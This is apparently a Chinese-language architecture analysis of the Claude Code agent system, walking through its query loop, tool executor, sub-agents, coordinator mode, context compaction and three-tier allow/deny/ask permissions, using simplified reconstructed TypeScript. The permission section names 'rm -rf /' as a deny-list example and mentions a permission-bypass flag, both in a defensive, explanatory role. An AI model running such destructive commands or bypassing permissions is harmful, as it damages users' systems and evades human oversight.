query.ts 的核心是一个异步生成器函数，用 `while(true)` 循环反复执行：准备 API 请求 → 流式发送 → 处理响应 → 执行工具 → 结果回填。循环有三种退出条件：Stop（模型正常结束）、maxTurns（达到轮次上限）、error（API 错误超重试次数）。

它用 `async function*`（异步生成器）实现——调用方用 `for await` 实时接收每个事件，天然支持流式输出和背压控制。

> **完整代码走读（含逐行中文注释）见《Claude Code Agent 系统技术分析》第 2 章。** 那里有 query.ts 的依赖链、Generator 函数详解和 shouldStop 逻辑分析。这里我们把篇幅留给本章独有的内容：流式工具执行和 Query Loop 范式。

## 6.3 StreamingToolExecutor：流式工具执行

```typescript
// services/tools/StreamingToolExecutor.ts（简化）
export class StreamingToolExecutor {
  private runningTools = new Map<string, Promise<ToolResult<unknown>>>()
  private maxConcurrency: number

  async executeTool(
    toolUse: ToolUseBlock,
    context: ToolUseContext,
    canUseTool: CanUseToolFn,
    parentMessage: AssistantMessage,
  ): Promise<ToolResult<unknown>> {
    // 查找工具
    const tool = findToolByName(context.options.tools, toolUse.name)
    if (!tool) {
      return { data: { type: 'error', error: `Unknown tool: ${toolUse.name}` } }
    }

    // 检查权限
    const permissionResult = await canUseTool(toolUse, context)
    if (permissionResult.behavior !== 'allow') {
      return { data: { type: 'error', error: permissionResult.message } }
    }

    // 执行工具
    return tool.call(
      toolUse.input as z.infer<typeof tool.inputSchema>,
      context,
      canUseTool,
      parentMessage,
    )
  }

  async executeToolsParallel(
    toolUses: ToolUseBlock[],
    context: ToolUseContext,
    canUseTool: CanUseToolFn,
    parentMessage: AssistantMessage,
  ): Promise<Map<string, ToolResult<unknown>>> {
    const results = new Map<string, ToolResult<unknown>>()
    const concurrencySafe: ToolUseBlock[] = []
    const concurrencyUnsafe: ToolUseBlock[] = []

    // 分类：可并发 vs 不可并发
    for (const toolUse of toolUses) {
      const tool = findToolByName(context.options.tools, toolUse.name)
      if (tool?.isConcurrencySafe(toolUse.input)) {
        concurrencySafe.push(toolUse)
      } else {
        concurrencyUnsafe.push(toolUse)
      }
    }

    // 并发执行安全工具
    const safeResults = await Promise.all(
      concurrencySafe.map(t => this.executeTool(t, context, canUseTool, parentMessage))
    )
    concurrencySafe.forEach((t, i) => results.set(t.id, safeResults[i]))

    // 串行执行不安全工具
    for (const toolUse of concurrencyUnsafe) {
      const result = await this.executeTool(toolUse, context, canUseTool, parentMessage)
      results.set(toolUse.id, result)
    }

    return results
  }
}
```

**并发控制的核心：**

1. **分类**：根据 `isConcurrencySafe()` 将工具分为可并发和不可并发
2. **并发执行**：可并发的工具用 `Promise.all` 并行执行
3. **串行执行**：不可并发的工具按顺序执行
4. **结果收集**：用 Map 按 tool_use_id 收集结果

## 6.4 Query Loop 范式

### 范式 1：异步生成器驱动主循环

```typescript
// 不好：回调地狱
function query(params, onMessage, onTool, onError) { ... }

// 好：异步生成器
async function* query(params): AsyncGenerator<Message> {
  for await (const event of apiStream) {
    yield event
  }
}
```

### 范式 2：依赖注入

```typescript
// query.ts 的 deps 参数
type QueryDeps = {
  makeApiStream: (...) => AsyncGenerator<StreamEvent>
  runTools: (...) => AsyncGenerator<Message>
  // ...
}

// 生产环境用真实实现
const productionDeps: QueryDeps = { ... }

// 测试环境用 mock
const testDeps: QueryDeps = { ... }
```

### 范式 3：流式处理

```typescript
// 不好：等整个响应完成再处理
const response = await apiCall()
for (const block of response.content) { ... }

// 好：边接收边处理
for await (const event of apiStream) {
  if (event.type === 'content_block_delta') {
    // 实时渲染
  }
}
```

### Checklist

- [ ] 主循环用异步生成器实现
- [ ] 依赖通过 deps 参数注入
- [ ] 工具按 isConcurrencySafe 分类执行
- [ ] 流式处理 API 响应
- [ ] 错误处理有重试上限

## 第X章：实战案例 — 从零写一个简单 Agent

### 这解决什么问题

纸上谈兵不如动手。我们用 Claude Code 的架构思想，从零写一个简单的 Agent，让不懂代码的人也能理解 Agent 系统是怎么跑起来的。

### 核心概念

一个 Agent 只有三件事：
1. 看（读取输入）
2. 想（调用大模型）
3. 做（执行工具）

就像你让一个实习生干活：先看你的需求（看），想一想该怎么办（想），然后去做（做），做完再回来汇报（循环）。

### 代码实现（逐行注释）

```typescript
// 文件：my-agent.ts

// 1. 定义一个工具——Agent 的"手"
const fileReadTool = {
  name: 'read_file',          // 工具名：告诉模型这是什么
  description: '读取文件内容',  // 工具描述：告诉模型什么时候用
  parameters: {               // 参数定义：告诉模型怎么传参
    type: 'object',
    properties: {
      path: { type: 'string', description: '文件路径' }
    }
  },
  // 实际执行：工具真正干活的地方
  execute: async (params: { path: string }) => {
    return await readFile(params.path)  // 读文件，返回内容
  }
}

// 2. Agent 主循环——"看 → 想 → 做"循环
async function agentLoop(userMessage: string) {
  const messages = [{ role: 'user', content: userMessage }]

  while (true) {  // 不断循环，直到模型说"我做完了"
    // 想：把消息和工具发给大模型
    const response = await callClaude({
      messages: messages,
      tools: [fileReadTool]   // 告诉模型你有哪些工具
    })

    // 检查：模型有没有调用工具？
    if (!response.hasToolCall) {
      // 没有工具调用 = 任务完成，模型给了最终答案
      console.log(response.text)
      break
    }

    // 做：执行模型要求的工具
    const result = await fileReadTool.execute(response.toolParams)

    // 看：把结果加回消息列表，下一轮模型会看到
    messages.push({
      role: 'tool',
      content: result
    })
    // ↑ 循环继续，模型看到结果后决定下一步
  }
}

// 3. 启动！
agentLoop("请读一下 README.md 的内容")
```

### 这就是全部了

一个 Agent 就是这个循环的不断重复：
1. 模型看消息 → 2. 模型决定调工具 → 3. 执行工具 → 4. 结果回给模型 → 回到第 1 步

Claude Code 的复杂性来自于：
- 工具更多（40+ 个）→ 需要权限管理
- 循环更长 → 需要上下文压缩
- 一个不够 → 需要子 Agent
- 要跑得快 → 需要并发控制、prompt 缓存

但核心就这三件事：看、想、做。

### 学习路径

- 想深入理解 Agent 架构 → 读 `query.ts`（核心循环）、`Tool.ts`（工具定义）
- 想学工具系统 → 从 `tools/FileReadTool/` 开始，这是最简单的工具
- 想学子 Agent → 读 `tools/AgentTool/runAgent.ts`
- 想动手练 → 给这个简单 Agent 加第二个工具（比如写文件），然后试试让它做个小任务
- 想理解安全机制 → 读 `tools/BashTool/bashPermissions.ts`（权限检查）和 `tools/BashTool/bashSecurity.ts`（命令安全分析）。这两个文件比较大，建议先读 bashPermissions 的前 200 行理解"什么时候允许、什么时候拒绝、什么时候问用户"的决策流程

# Claude Code Agent 系统技术分析

# Claude Code Agent 系统技术分析

> 源码版本：Claude Code v2.1.88（~51万行 TypeScript）
> 分析日期：2026-03-31
>
> 基于 Claude Code 源码走读（`query.ts`、`tools.ts`、`Tool.ts`、`runAgent.ts`、`coordinatorMode.ts`）
>
> 双受众：外行能跟上思路，内行能拿走干货。

---

## 1. 架构总览

Claude Code 的核心不是一个"聊天程序"，而是一个 **Agent 循环引擎**——把 LLM 的输出当成指令来执行，执行完再喂回去，直到模型说"我做完了"。

```
┌─────────────────────────────────────────────────────────┐
│                    用户 / 终端 / API                     │
│                 (stdin / WebSocket / HTTP)               │
└──────────────────────┬──────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────┐
│                   query.ts (Agent Loop)                  │
│  ┌─────────┐  ┌──────────┐  ┌─────────┐  ┌──────────┐  │
│  │ 消息构建 │→│ API 调用  │→│ 响应解析 │→│ 工具执行 │  │
│  └─────────┘  └──────────┘  └─────────┘  └──────────┘  │
│       ↑                                        │        │
│       └────────────────────────────────────────┘        │
│                    循环直到无 tool_use                    │
└──────────────────────┬──────────────────────────────────┘
                       │
          ┌────────────┼────────────┐
          ▼            ▼            ▼
┌──────────────┐ ┌──────────┐ ┌──────────────────────┐
│  Tool.ts     │ │ tools.ts │ │ AgentTool/runAgent.ts │
│  (接口定义)   │ │ (工具注册)│ │  (子 Agent 派发)     │
└──────────────┘ └──────────┘ └──────────────────────┘
                                  │
                                  ▼
                    ┌──────────────────────────┐
                    │ coordinatorMode.ts       │
                    │ (Coordinator 编排层)      │
                    └──────────────────────────┘
```

****：用户说话 → LLM 想 → 执行工具 → 结果回去 → LLM 再想 → 循环。

---

## 2. Agent Loop（`query.ts` 走读）

### 解决什么问题

想象你是个厨师，客人说"我要一份宫保鸡丁"。你不会一口气做完——你会先看菜单理解需求（理解用户意图），去冰箱拿食材（读文件），切菜（改代码），下锅炒（跑测试），尝一口看看对不对（检查结果），不行再调整（继续循环）。Agent Loop 就是这个"看→拿→做→检查→再做"的循环。关键问题：**什么时候算做完、中间出错怎么办、做太久要不要叫停**。

### 怎么做的

`query.ts` 是整个系统的心脏。从 import 看，它管理：

```
关键依赖链：
query.ts
├── Tool.ts (工具类型)
├── utils/messages.js (消息构建)
├── services/compact/autoCompact.js (上下文压缩)
├── services/tools/toolOrchestration.js (工具执行)
├── query/tokenBudget.js (token 预算)
└── query/config.js (配置构建)
```

核心循环（Generator 函数，用 `yield` 输出事件——Generator 的好处是上层能随时暂停/恢复/拿到中间结果）：

```typescript
// 伪代码还原核心流程
// 用 Generator（function*）而不是普通 async，因为上层需要流式拿到每一步的事件
function* query(...) {
  while (true) {  // 无限循环，靠 break 退出——这就是"Agent 不停做直到做完"的体现
    // 1. 构建消息历史（含系统提示、上下文压缩边界）
    //    每轮都要重新 build，因为消息在变化（压缩、新增工具结果等）
    const messages = buildMessages(...)
    
    // 2. 检查 token 预算（不是硬上限，是软阈值 + 续期机制）
    //    为什么不用硬上限？因为模型可能正在推理关键步骤，截断会打断思路
    const budget = getCurrentTurnTokenBudget()
    
    // 3. 调用 Anthropic API（支持 thinking、tool_use 流式输出）
    //    yield* 把流式事件逐个传给上层，UI 能实时显示"AI 在想"
    const response = yield* streamAPI(messages, tools, ...)
    
    // 4. 解析响应中的 tool_use blocks
    //    一条 API 响应可能包含多个 tool_use（比如同时搜 3 个文件）
    const toolUses = response.content.filter(c => c.type === 'tool_use')
    
    // 5. 如果没有工具调用 → 结束循环，返回最终回答
    //    这就是"厨师说菜做好了"的时刻
    if (toolUses.length === 0) break
    
    // 6. 执行工具（支持并发！见下文）
    //    yield* 让上层能实时看到每个工具的执行进度
    const results = yield* runTools(toolUses, ...)
    
    // 7. 工具结果喂回去，继续循环
    //    相当于厨师尝完菜，决定下一步怎么调整
  }
}
```

**几个有意思的细节**：

1. **Token 预算不是硬限**：`getCurrentTurnTokenBudget()` + `checkTokenBudget()` 做软控制。超了不是直接截断，而是 `incrementBudgetContinuationCount()` 续期——给模型更多空间完成当前思路。

2. **上下文压缩**：有三种机制——`autoCompact`（自动压缩）、`reactiveCompact`（响应式）、`historySnip`（历史裁剪）。不是"满了再压缩"，而是持续跟踪 token 消耗趋势。

3. **中断处理**：`yieldMissingToolResultBlocks()` 在异常中断时，为每个未完成的 tool_use 生成一个 `is_error: true` 的结果。这样模型不会"困惑"于缺少工具响应。

4. **Thinking 规则**：代码注释里写得很清楚——thinking block 不能是消息的最后一块，必须在 `max_thinking_length > 0` 的 query 里，且只能保留一个 assistant 轨迹的长度。

**这段代码有几个值得注意的地方**：

Generator yield 模式选得精准——不是 async/await 的"调完等结果"，而是每一步都能被上层拦截、展示、中断。这对 CLI 的流式体验是刚需。Token 预算的"续期"机制（`incrementBudgetContinuationCount`）也很有洞察力：模型不是写一行算一行，它需要"完成当前思路"的空间，硬截断只会产生半截代码。这个"软控制 + 续期"思路可以推广到所有 LLM 应用。`yieldMissingToolResultBlocks()` 在中断时给未完成的 tool_use 生成 `is_error: true` 结果——这保证了消息序列的完整性，模型不会因为"缺了一条工具结果"而困惑。

**但也有一个值得警惕的问题**：query.ts 1700+ 行，消息构建、API 调用、工具执行、压缩策略全耦合。对终端应用来说"一个文件搞定"降低了理解成本，但测试成本和维护成本会随功能增长快速上升。另外，循环退出条件只有 `toolUses.length === 0`，没有显式的 maxTurns 检查点（可能在上层）。如果上层忘了设，理论上可以无限循环。

---

## 3. 工具系统（`Tool.ts` + `tools.ts` 走读）

### 解决什么问题

你家有个工具箱：螺丝刀、扳手、电钻、锤子。每样工具都有自己的用法、适用场景、危险程度。你不会拿电钻去拧螺丝，也不会让孩子用角磨机。工具系统就是给 AI 配一个"工具箱"——**统一接口、按需取用、危险操作要审批**。

### 怎么做的

**`Tool.ts` — 接口定义**

```typescript
// ToolInputJSONSchema: 工具输入的 JSON Schema 定义
// 为什么用 JSON Schema？因为 LLM 的 tool_use 输出就是 JSON，直接校验
type ToolInputJSONSchema = {
  type: 'object'
  properties?: { [x: string]: unknown }
}

// ToolPermissionContext: 权限上下文——每次工具调用都会带上这个
// 为什么放在 context 里而不是工具自己管？因为同一个工具在不同场景权限不同
type ToolPermissionContext = {
  mode: PermissionMode  // 'default' | 'bypassPermissions' | ...
  additionalWorkingDirectories: Map<string, AdditionalWorkingDirectory>
  alwaysAllowRules: ToolPermissionRulesBySource   // 白名单——这些操作自动放行
  alwaysDenyRules: ToolPermissionRulesBySource    // 黑名单——这些操作永远拒绝
  alwaysAskRules: ToolPermissionRulesBySource     // 灰名单——不确定的要问用户
  isBypassPermissionsModeAvailable: boolean       // 是否允许绕过权限（仅 CLI --dangerously-skip-permissions）
  shouldAvoidPermissionPrompts?: boolean          // 后台 Agent 自动拒绝权限提示——因为没人能点确认
}
```

关键设计：**权限是三层的**——`alwaysAllow`、`alwaysDeny`、`alwaysAsk`。不是简单的"允许/拒绝"二元论，而是有"询问"层。这解决了"我不确定要不要让它跑 rm -rf"的灰色地带。

**`tools.ts` — 工具注册**

从 import 列表可以看到完整工具集：

```typescript
// 核心工具（始终可用）
AgentTool, SkillTool, BashTool, FileEditTool, FileReadTool,
FileWriteTool, GlobTool, NotebookEditTool, WebFetchTool,
TaskStopTool, BriefTool, TaskOutputTool, WebSearchTool,
TodoWriteTool, GrepTool, LSPTool, AskUserQuestionTool,
EnterPlanModeTool, EnterWorktreeTool, ExitWorktreeTool

// 条件工具（feature flag 控制）
REPLTool          → process.env.USER_TYPE === 'ant'
SleepTool         → feature('PROACTIVE') || feature('KAIROS')
CronCreateTool    → feature('AGENT_TRIGGERS')
WebBrowserTool    → feature('WEB_BROWSER_TOOL')
WorkflowTool      → feature('WORKFLOW_SCRIPTS')
```

**工具集是动态的**。`tools.ts` 的 `getTools()` 函数根据当前模式（Coordinator / REPL / 普通）、feature flags、权限上下文来决定返回哪些工具。不是写死的列表。

```typescript
// 模式过滤
const coordinatorModeModule = feature('COORDINATOR_MODE')
  ? require('./coordinator/coordinatorMode.js')
  : null
// 然后根据 isCoordinatorMode() 决定是否只返回 COORDINATOR_MODE_ALLOWED_TOOLS
```

**这段代码有意思的地方是**设计哲学：声明式 + 权限前置。每个工具声明自己的 schema（Zod/Joi 校验），权限在执行前就确定，而不是"先执行再检查"——这从根上减少了很多安全漏洞。Feature flag 管控实验性工具（`SleepTool`、`CronCreateTool`、`WebBrowserTool`）的做法也值得记一笔：不用删代码，开关一关就是下线，这是成熟产品的做法，不是"加个 if true"。`shouldAvoidPermissionPrompts` 这个字段很聪明——后台 Agent 不能弹窗给用户点，所以直接 deny 而不是 ask，细节处见功底。

**但有个设计选择我不太认同**：工具列表是 `getTools()` 函数里 if/else 拼出来的，没有用注册表模式，加新工具要改这个函数，不够解耦。权限规则的 source 追踪（`ToolPermissionRulesBySource`）在代码里有，但对外暴露不够——用户很难看到"这条规则来自哪里、为什么生效"。

三层权限（allow/deny/ask）比简单的开关更实用，任何有用户交互的产品都可以借鉴——不是所有不确定的操作都该拒绝，有些应该问一下。工具 schema 声明 + LLM tool_use 透传的模式，本质上是"用类型定义替代运行时转换"，值得所有 AI 工具集成借鉴。

---

## 4. 子 Agent（`runAgent.ts` 走读）

### 解决什么问题

你一个人搬不动一张大沙发，你会叫几个朋友来帮忙。每个人负责一个角，各自出力，搬完各回各家。子 Agent 就是这个"叫帮手"的机制——**把大任务拆成独立小任务，各自在自己的上下文里干，干完回来交差**。好处是每个人只记自己那部分，不会因为同时记太多事而脑子乱。

### 怎么做的

```typescript
// runAgent.ts 核心流程
async function runAgent(agentDefinition, parentContext) {
  // 1. 创建独立的 Agent ID——每个子 Agent 有唯一标识，用于追踪和清理
  const agentId = createAgentId()
  
  // 2. 初始化子 Agent 特有的 MCP 服务器
  //    parentClients 是父级已有的 MCP 连接，子 Agent 可以继承（共享基础设施）
  //    但子 Agent 也可以定义自己的 MCP server（内联定义）
  const { clients, tools, cleanup } = await initializeAgentMcpServers(
    agentDefinition,
    parentClients  // 继承父级的 MCP 连接
  )
  
  // 3. 克隆文件状态缓存（不共享，避免竞态）
  //    为什么克隆而不是共享？两个 Agent 同时读同一个文件，一个改了缓存，另一个就乱了
  const fileStateCache = cloneFileStateCache(parentFileStateCache)
  
  // 4. 创建 fork 上下文——子 Agent 的"身份证"
  //    包含 agentId、工具集、文件缓存、权限上下文等
  const subagentContext = createSubagentContext({
    parentContext,
    agentId,
    tools,
    fileStateCache,
    // ...更多参数
  })
  
  // 5. 执行！调用 query() 就行——复用同一个 Agent Loop
  //    子 Agent 跑的循环和父 Agent 完全一样，只是上下文不同
  const result = await query(subagentContext)
  
  // 6. 清理：MCP 连接、文件缓存、transcript 目录
  //    不清理 = 资源泄漏，尤其是 MCP 子进程
  await cleanup()
  cleanupAgentTracking(agentId)  // 从全局追踪表中移除
  
  return result
}
```

**MCP 服务器隔离**是亮点：

```typescript
// 子 Agent 可以有自己的 MCP 服务器
// 但有权限限制——"plugin-only" 模式下，非 admin-trusted 的 Agent 不能加载额外 MCP
if (isRestrictedToPluginOnly('mcp') && !agentIsAdminTrusted) {
  // 跳过，不加载额外 MCP
}

// 两种 MCP 来源：
// 1. 字符串引用 → 从父级已有的配置里找
// 2. 内联定义 → 创建新的连接（子 Agent 结束时要清理）
```

**Fork 模式是这段代码的核心亮点**——共享 MCP 连接（省资源）、克隆文件缓存（防竞态）、独立执行空间（防污染），和 Unix fork() 的 copy-on-write 哲学一致，不是拍脑袋的设计。清理逻辑也做得很扎实：`cleanup()` 处理 MCP 子进程 + 文件缓存 + transcript 目录——很多 Agent 框架只管创建不管销毁。复用同一个 `query()` 函数跑子 Agent 也是个聪明的决策，代码零重复，子 Agent 和父 Agent 能力完全一致，只是上下文不同。

**一个实际可能撞到的问题**：子 Agent 之间的通信只能通过父 Agent 中转（返回结果），没有直接通道。对于需要协作的任务（两个子 Agent 共同改一个文件），效率不高。另外递归 fork 的深度靠 `maxTurns` 和 token 预算间接限制，没有显式的 depth 计数器——虽然实际中不太可能无限递归，但显式限制比隐式限制更安全。

"继承 + 克隆"的 fork 模式比"完全隔离"或"完全共享"都好：完全隔离要重复初始化（慢），完全共享有竞态风险（乱）。折中方案：共享不变的（连接、配置），克隆可变的（缓存、状态）。

---

## 5. Coordinator 模式（`coordinatorMode.ts` 走读）

### 解决什么问题

叫帮手来干活容易，但谁管谁？如果 5 个人同时搬沙发，没人指挥方向，沙发要么撞墙要么掉地上。Coordinator 就是那个**站在旁边指挥的人——自己不动手，但分配任务、收集结果、汇报进展**。

### 怎么做的

```typescript
// 判断是否在 Coordinator 模式
function isCoordinatorMode(): boolean {
  if (feature('COORDINATOR_MODE')) {
    return isEnvTruthy(process.env.CLAUDE_CODE_COORDINATOR_MODE)
  }
  return false
}

// Coordinator 的系统提示（精简版）
// 关键设计：
// - Coordinator 只有 3 个工具：AgentTool（派发）、SendMessageTool（继续）、TaskStopTool（停止）
// - Coordinator 不直接干活，只编排
// - Worker 结果以 task-notification XML 格式返回
// - Coordinator 要"总结结果给用户"，不要感谢或确认 Worker
```

Worker 的工具集是受限的：

```typescript
// ASYNC_AGENT_ALLOWED_TOOLS = 工具子集
// Coordinator 不让 Worker 用 AgentTool（防止无限递归）
// 简化模式下只有 Bash + Read + Edit
const workerTools = isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE)
  ? ['Bash', 'Read', 'Edit']
  : ASYNC_AGENT_ALLOWED_TOOLS.filter(name => !INTERNAL_WORKER_TOOLS.has(name))
```

**Scratchpad 共享区**：

```typescript
// Coordinator 可以给 Worker 配一个共享目录
if (scratchpadDir && isScratchpadGateEnabled()) {
  content += `Workers can read and write here without permission prompts. 
  Use this for durable cross-worker knowledge.`
}
```

这个设计解决了"Worker 之间怎么通信"的问题——不走消息队列，而是**共享文件系统**。简单粗暴但有效。

### 评价

**做得好的**：
- Coordinator 只有 3 个工具（AgentTool、SendMessageTool、TaskStopTool），工具约束比提示约束可靠——模型想越权也做不到。
- 系统提示写得很克制："不要用一个 Worker 去检查另一个 Worker"、"不要让 Worker 做你能直接做的事"。这种"提示工程 + 工具约束"双管齐下的方式，比纯靠模型自觉靠谱得多。
- Scratchpad 共享区用文件系统而非消息队列实现 Worker 间通信——简单粗暴但有效。不需要引入额外的中间件。

**可以改进的**：
- Coordinator 和 Worker 之间的结果传递依赖 `task-notification XML` 格式——XML 解析脆弱，格式稍有偏差就挂了。结构化 JSON 会更稳健。
- Worker 的工具集限制（`ASYNC_AGENT_ALLOWED_TOOLS`）是硬编码列表，没有按任务类型动态调整。所有 Worker 拿到的工具集一样，不管任务是"读文件"还是"跑测试"。

**对其他产品的启发**：
- "不信任 + 工具约束"的管理模式比"信任 + 自觉"更靠谱。适用于所有多 Agent 系统——别指望模型自觉，用硬约束限制能力范围。
- 共享文件系统作为 Worker 间通信介质的思路，比引入消息队列或事件总线简单得多，适合"协作不多但偶尔要共享信息"的场景。

---

## 6. 消息系统

### 解决什么问题

你发微信不只是发文字——还有图片、文件、语音、撤回、引用回复。群聊里消息有优先级：管理员的公告比闲聊重要。消息系统就是处理这些"**不只是对话**"的信息流——工具调用结果、压缩标记、中断信号、附件、进度更新，全都是消息。

### 怎么做的

从 `query.ts` 和 `Tool.ts` 的 import 可以看到完整的消息类型体系：

```typescript
// 消息类型用 discriminated union（联合类型），每个类型有 type 字段区分
// 为什么不用 class 继承？Union type 天然对应 JSON 序列化，switch 能检查穷尽性
type Message =
  | UserMessage          // 用户输入（文本、图片、工具结果都在这里）
  | AssistantMessage     // 模型输出（包含 text blocks + tool_use blocks）
  | SystemMessage        // 系统消息（提示词、压缩边界等，用户不可见）
  | AttachmentMessage    // 附件（文件内容、上下文注入——独立于用户消息）
  | ToolUseSummaryMessage // 工具使用摘要（给 UI 展示"刚才干了啥"）
  | TombstoneMessage     // 墓碑标记（已压缩的消息占位——不删历史，只标记）
  | ProgressMessage      // 进度更新（npm install 跑到第几步了）
  | SystemLocalCommandMessage // 本地命令消息（hook、斜杠命令等）

// 消息构建工具——每个工厂函数封装了创建逻辑，外部不需要知道内部结构
createUserMessage()           // 构造用户消息
createUserInterruptionMessage() // 用户按了 Ctrl+C——中断当前执行
createSystemMessage()         // 系统消息（安全规则、编码指令等）
createAssistantAPIErrorMessage() // API 调用失败时的兜底消息——不让循环卡死
createToolUseSummaryMessage() // 工具调用摘要（精简版，用于 UI 展示）
normalizeMessagesForAPI()     // 格式化为 Anthropic API 要求的格式
stripSignatureBlocks()        // 去掉签名块（安全考虑——防止 prompt 注入通过签名传递）
```

**消息队列管理**：

```typescript
// 有优先级的消息队列
removeFromQueue()
getCommandsByMaxPriority()  // 按优先级获取命令
isSlashCommand()            // 斜杠命令识别
```

这说明消息不是简单的数组追加，而是有**优先级调度**——用户打断当前执行的命令时，高优先级消息可以插队。

### 评价

**做得好的**：
- Discriminated union 的类型设计很实用——`switch (msg.type)` 编译器能检查穷尽性，漏了类型直接报错。序列化天然对应 JSON，不需要自定义序列化逻辑。不可变性保证了消息在 agent loop 里传递和变换时不会有状态泄漏。
- TombstoneMessage 不是真删消息，而是标记"这段不重要了"。这比直接丢弃好——压缩系统知道这里曾经有内容，需要时可以通过 summary 回溯。
- 消息队列的优先级设计（tool_result > user_input > progress）反映了真实场景：工具结果阻塞 agent loop，必须优先处理；进度消息可以丢弃，用户看到"最后一条"就够了。

**可以改进的**：
- 消息类型虽然用了 union，但 `ContentBlock` 也是 union，嵌套 union 在模式匹配时会让代码变冗长。如果消息类型更多，考虑用 visitor 模式替代 switch。
- 进度消息（ProgressMessage）"可丢弃"的设计可能导致信息丢失——比如一个长时间运行的命令，中间的输出如果被丢弃，出错时就很难调试。

**对其他产品的启发**：
- 消息优先级队列是处理多输入源的标准做法——任何需要合并多个异步事件流的系统（WebSocket + 定时器 + 用户输入）都能用。

---

## 7. 上下文管理

### 解决什么问题

人的短期记忆容量有限——心理学实验说大约 7±2 个元素。你背一个电话号码没问题，但让你同时记 20 个人的名字就崩溃了。Claude 的上下文窗口也一样——200K tokens 看着很大，但一个长编程会话里文件内容、工具输出、对话历史加起来，很快就满了。上下文管理就是**决定记住什么、忘掉什么、怎么忘才不丢关键信息**。

### 怎么做的

从 `query.ts` 可以看到多层压缩机制：

```typescript
// 1. 自动压缩追踪——持续监测 token 使用趋势，不是"满了才触发"
import { calculateTokenWarningState, isAutoCompactEnabled } from './services/compact/autoCompact.js'

// 2. 压缩后重建消息——压缩完不是简单截断，而是生成摘要 + 保留边界后的消息
import { buildPostCompactMessages } from './services/compact/compact.js'

// 3. 响应式压缩（feature flag 控制——还在实验阶段）
//    和 Auto Compact 的区别：不是"整体压缩"，而是"按消息类型差异化处理"
const reactiveCompact = feature('REACTIVE_COMPACT')
  ? require('./services/compact/reactiveCompact.js')
  : null

// 4. 上下文坍缩（feature flag 控制——更激进的压缩策略）
//    可能会把多个工具调用结果合并成一条摘要
const contextCollapse = feature('CONTEXT_COLLAPSE')
  ? require('./services/contextCollapse/index.js')
  : null

// 5. 历史裁剪（feature flag 控制——直接丢弃旧消息）
//    最激进的策略：不是压缩，而是直接删掉指定范围的历史
const snipModule = feature('HISTORY_SNIP')
  ? require('./services/compact/snipCompact.js')
  : null
```

**Token 预算系统**：

```typescript
// 不是"超了就截断"，而是"渐进式续期"——给模型完成当前思路的空间
getCurrentTurnTokenBudget()    // 当前轮次的 token 预算（基于模型 max_tokens）
getTurnOutputTokens()          // 已消耗的输出 tokens（实时追踪）
incrementBudgetContinuationCount() // 预算不足时续期——每次续期增加额外空间
createBudgetTracker()          // 创建预算追踪器（每轮一个新实例）
checkTokenBudget()             // 检查是否超限（返回 "ok" | "warning" | "exceeded"）
```

**压缩边界**：

```typescript
// 消息中有专门的"压缩边界"消息类型
type SystemCompactBoundaryMessage  // 压缩边界
type TombstoneMessage              // 墓碑标记
getMessagesAfterCompactBoundary()  // 获取压缩边界之后的消息
createMicrocompactBoundaryMessage() // 微压缩边界
```

这些边界标记告诉压缩系统"这段之后的内容可以安全压缩，之前的必须保留"。

### 评价

**做得好的**：
- 多层压缩 + token 预算 + 压缩边界的组合，本质上是**分代垃圾回收**的思路——不是一次性清理，而是追踪、标记、分批回收。这比"满了截断"精细得多。
- 压缩边界消息（`SystemCompactBoundaryMessage`）的设计很聪明：在消息流里打"书签"，书签前的内容被总结成摘要，书签后的原样保留。被压缩的消息留下 Tombstone 占位——系统知道这里曾经有内容，只是不再保留细节。
- Feature flag 大量使用说明压缩策略还在迭代中，不同算法通过 AB 测试对比效果。这是务实的做法——上下文压缩没有银弹，只能靠实验找最优。

**可以改进的**：
- 三层压缩（Auto + Reactive + Budget）之间的协调逻辑不透明。如果 Auto 和 Reactive 同时触发，谁先谁后？会不会压缩两次？
- 压缩后丢失的细节无法精确恢复——只能通过 summary 回溯。对于代码修改场景，丢失具体 diff 可能导致模型重复已做过的修改。

**对其他产品的启发**：
- Token 预算的"软控制 + 续期"思路值得所有长对话 LLM 应用借鉴。硬截断模型输出是最蠢的做法——模型正在推理关键步骤，截断只会产生半截代码或断裂的逻辑。
- "压缩边界 + Tombstone"的消息管理方式，比"直接删除旧消息"更安全。任何需要长期运行 + 上下文有限的系统（聊天机器人、日志系统、事件流处理）都能用这个思路。

---

## 8. 权限安全

### 解决什么问题

AI 能跑 bash、能改文件、能发 HTTP 请求——这就像给一个实习生开了 root 权限。你不加限制，一个 prompt injection 就能让你的电脑变成别人的矿机。权限系统就是那个**保安**：谁能做什么、什么要审批、什么绝对不允许，白纸黑字写清楚。

### 怎么做的

**权限是声明式的**（从 `Tool.ts`）：

```typescript
// 权限是声明式的——每个工具调用前都会带着这个上下文去校验
type ToolPermissionContext = {
  mode: PermissionMode  // 权限模式：default（标准）| bypassPermissions（跳过，仅 CLI）
  alwaysAllowRules: ToolPermissionRulesBySource   // 白名单——自动放行的操作（如读项目内文件）
  alwaysDenyRules: ToolPermissionRulesBySource    // 黑名单——永远拒绝（如 rm -rf /）
  alwaysAskRules: ToolPermissionRulesBySource     // 灰名单——不确定的弹窗问用户
  isBypassPermissionsModeAvailable: boolean       // 是否允许绕过（仅 --dangerously-skip-permissions flag）
  shouldAvoidPermissionPrompts?: boolean          // 后台 Agent 禁止弹窗——没人能点确认，直接 deny
}
```

**三层权限模型**：

```
alwaysDeny  →  永远拒绝（不管模型怎么说）
alwaysAsk   →  问用户（弹窗确认）
alwaysAllow →  自动放行
```

**子 Agent 权限隔离**（从 `runAgent.ts`）：

```typescript
// plugin-only 模式下，非 admin-trusted 的 Agent 不能加载额外 MCP
if (isRestrictedToPluginOnly('mcp') && !agentIsAdminTrusted) {
  // 拒绝
}

// admin-trusted 判断
isSourceAdminTrusted(agentDefinition.source)
// Plugin、built-in、policySettings 的 Agent 是 admin-trusted
// 用户自定义的 Agent 不是
```

**Coordinator Worker 的权限更严格**：

```typescript
// Worker 的工具集是受限子集
ASYNC_AGENT_ALLOWED_TOOLS  // 不包含 AgentTool（防递归）
INTERNAL_WORKER_TOOLS      // 内部工具对 Worker 不可见

// 简化模式下权限更低
process.env.CLAUDE_CODE_SIMPLE → 只有 Bash + Read + Edit
```

### 评价

**做得好的**：
- 执行前声明 → 声明后校验 → 校验后执行的三步流程，比"先执行再审计"安全得多。安全问题就该在入口处拦截，不应该是事后补救。
- 白名单/黑名单/询问三层设计比简单的 allow/deny 灵活得多——现实世界有很多灰色地带，不是所有操作都能一刀切。
